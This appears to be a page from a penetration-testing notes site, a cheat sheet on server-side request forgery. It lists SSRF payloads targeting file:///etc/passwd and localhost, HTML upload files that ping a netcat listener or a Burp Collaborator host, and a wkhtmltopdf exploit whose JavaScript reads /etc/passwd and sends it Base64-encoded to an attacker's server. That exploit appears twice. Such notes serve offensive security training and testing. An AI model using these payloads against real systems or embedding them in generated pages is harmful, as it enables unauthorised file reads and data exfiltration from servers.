Server Side Request Forgery (SSRF)

Basic SSRF payloads

file:///etc/passwd
http://127.0.0.1
http://127.0.0.1:5000
http://127.0.0.1:1
index.html
index.php
http::////127.0.0.1:1

Blind SSRF

HTML File Upload To SSRF

Make a html file with the following code

<!DOCTYPE html>
<html>
<body>
	<a>Hello World!</a>
	<img src="http://<SERVICE IP>:PORT/x?=viaimgtag">
</body>
</html>

upload this file and see if you get a hit on netcat listener

I got a hit on my netcat listener

Using Burp Collaborator

use the below code in html file

<!DOCTYPE html>
<html>
<body>
	<a>Hello World!</a>
	<img src="http://oldac4hch7f4k2reoc7cyj3y7pdg17pw.oastify.com/x?=viaimgtag">
</body>
</html>

wkhtmltopdf Blind SSRF Exploit

By inspecting the request, we notice wkhtmltopdf in the User-Agent. If we browse wkhtmltopdf's downloads webpage, the below statement catches our attention:

Do not use wkhtmltopdf with any untrusted HTML – be sure to sanitize any user-supplied HTML/JS; otherwise, it can lead to the complete takeover of the server it is running on! Please read the project status for the gory details.

we can execute JavaScript in wkhtmltopdf! Let us leverage this functionality to read a local file by creating the following HTML document.

<html>
    <body>
        <b>Exfiltration via Blind SSRF</b>
        <script>
        var readfile = new XMLHttpRequest(); // Read the local file
        var exfil = new XMLHttpRequest(); // Send the file to our server
        readfile.open("GET","file:///etc/passwd", true); 
        readfile.send();
        readfile.onload = function() {
            if (readfile.readyState === 4) {
                var url = 'http://<SERVICE IP>:<PORT>/?data='+btoa(this.response);
                exfil.open("GET", url, true);
                exfil.send();
            }
        }
        readfile.onerror = function(){document.write('<a>Oops!</a>');}
        </script>
     </body>
</html>

In this case, we are using two XMLHttpRequest objects, one for reading the local file and another one to send it to our server. Also, we are using the btoa function to send the data encoded in Base64.

PreviousBroken Authentication NextXML External Entity (XXE)

Last updated 10 months ago

<html> <body> <b>Exfiltration via Blind SSRF</b> <script> var readfile = new XMLHttpRequest(); // Read the local file var exfil = new XMLHttpRequest(); // Send the file to our server readfile.open("GET","file:///etc/passwd", true); readfile.send(); readfile.onload = function() { if (readfile.readyState === 4) { var url = 'http://<SERVICE IP>:<PORT>/?data='+btoa(this.response); exfil.open("GET", url, true); exfil.send(); } } readfile.onerror = function(){document.write('<a>Oops!</a>');} </script> </body> </html>